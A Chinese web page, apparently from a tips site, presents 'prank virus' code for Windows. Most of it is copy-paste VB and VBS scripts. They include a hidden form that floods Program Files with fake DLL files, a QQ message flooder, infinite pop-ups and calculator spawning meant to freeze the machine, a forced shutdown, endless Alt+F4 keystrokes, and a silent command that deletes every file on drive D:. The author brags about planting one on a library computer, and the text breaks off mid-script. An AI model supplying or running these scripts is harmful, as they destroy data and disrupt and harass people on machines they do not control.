bat整人電腦病毒代碼是怎樣的
bat整人電腦病毒代碼是怎樣的
現(xiàn)在流行的病毒是由人為故意編寫的，多數(shù)病毒可以找到作者和產(chǎn)地信息，從大量的統(tǒng)計分析來看，病毒作者主要情況和目的是：一些天才的程序員為了表現(xiàn)自己和證明自己的能力，出于對上司的不滿，為了好奇，為了報復(fù)，為了祝賀和求愛，為了得到控制口令，為了軟件拿不到報酬預(yù)留的陷阱等.當(dāng)然也有因政治，軍事，宗教，民族.專利等方面的需求而專門編寫的，其中也包括一些病毒研究機(jī)構(gòu)和黑客的測試病毒.以下是學(xué)習(xí)啦網(wǎng)小編為大家整理的關(guān)于bat整人電腦病毒代碼的相關(guān)知識，希望對大家有所幫助!
vbs整人代碼
代碼如下：
復(fù)制代碼 代碼如下:
Private Sub Form_Load()
Me.Hide
End Sub
Private Sub Timer1_Timer()
'聲明變量，其中“count”為靜態(tài)變量，以便生成不同的文件
Dim files As String
Dim nr As String
Dim c As String
Static count As Long
'定義要把生成的文件存放在那個目錄文件下
c = "C:\Program Files\"
'生成文件的內(nèi)容
nr = "哈哈，被黑的感覺的不錯吧"
files = FreeFile
'如果a等于a那么就執(zhí)行
If a = a Then
'count不斷的加1，以便產(chǎn)生不同的文件名
count = count + 1
'產(chǎn)生文件名及文件句柄，并用count作為產(chǎn)生不同的文件名。
Open c & "system" & count & ".dll" For Append As #files
'向文件寫內(nèi)容
Write #files, nr
'清除文件句柄，這里很重要，如果不清除，將產(chǎn)生打開文件太多的錯誤提示
Close #files
End If
End Sub
一、你打開好友的聊天對話框,然后記下在你QQ里好友的昵稱,把下面代碼里的xx替換一下,就可以自定義發(fā)送QQ信息到好友的次數(shù)(代碼里的數(shù)字10改一下即可).
xx.vbs=>
復(fù)制代碼 代碼如下:
On Error Resume Next
Dim wsh,ye
set wsh=createobject("wscript.shell")
for i=1 to 10
wscript.sleep 700
wsh.AppActivate("與 xx 聊天中")
wsh.sendKeys "^v"
wsh.sendKeys i
wsh.sendKeys "%s"
next
wscript.quit
QQ騷擾信息,也可以用在其它程序上。
二、我就用這個程序放在學(xué)校圖書館查詢書刊的機(jī)器上，好多人都那它沒辦法，哈哈
------------------------------------------------------------------------------
do
msgbox "You are foolish!"
loop
------------------------------------------------------------------------------
三、打開無數(shù)個計算器，直到死機(jī)
------------------------------------------------------------------------------
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
-----------------------------------------------------------------------------
四、直接關(guān)機(jī)
-----------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
-----------------------------------------------------------------------------
五、刪除D:\所有文件
---------------------------------------------------------------------------
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
----------------------------------------------------------------------------
六、不斷彈出窗口
----------------------------------------------------------------------------
復(fù)制代碼 代碼如下:
while(1)
msgbox "哈哈 你被耍了!"
loop
----------------------------------------------------------------------------
七、不斷按下alt+f4 (開什么都關(guān)閉……)
--------------------
1/5
-------------------------------------------------------
復(fù)制代碼 代碼如下:
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
八、按500次回車
(以上代碼在運行者的電腦上顯示500個對話框。其中 do until s=500 ，500可以隨意更改)
復(fù)制代碼 代碼如下:
dim s
do until s=500
s=s+1
msgbox "哥們，給我按500次回車吧",64
loop
'------------------------ ------------------------------------------------------------
九、關(guān)不掉的窗口
復(fù)制代碼 代碼如下:
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉!"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎?")
WScript.Echo("怎么才來，說~是不是不關(guān)心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("小強(qiáng)很生氣，后果很嚴(yán)重哦。")
WScript.Echo("嘿嘿!你也會很慘滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋!")
WScript.Echo("還剩47下對，就這樣快點點!")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦!")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停!!!慢點，我有話要說")
WScript.Echo("還剩12下，你繼續(xù)點我就會消失滴")
WScript.Echo("還剩11下，以后就看不到我拉。555555")
WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止!")
WScript.Echo("還剩9下。你還點啊，不要我拉?")
WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負(fù)意!")
WScript.Echo("還剩6下。對。你就點吧，我恨你!")
WScript.Echo("還剩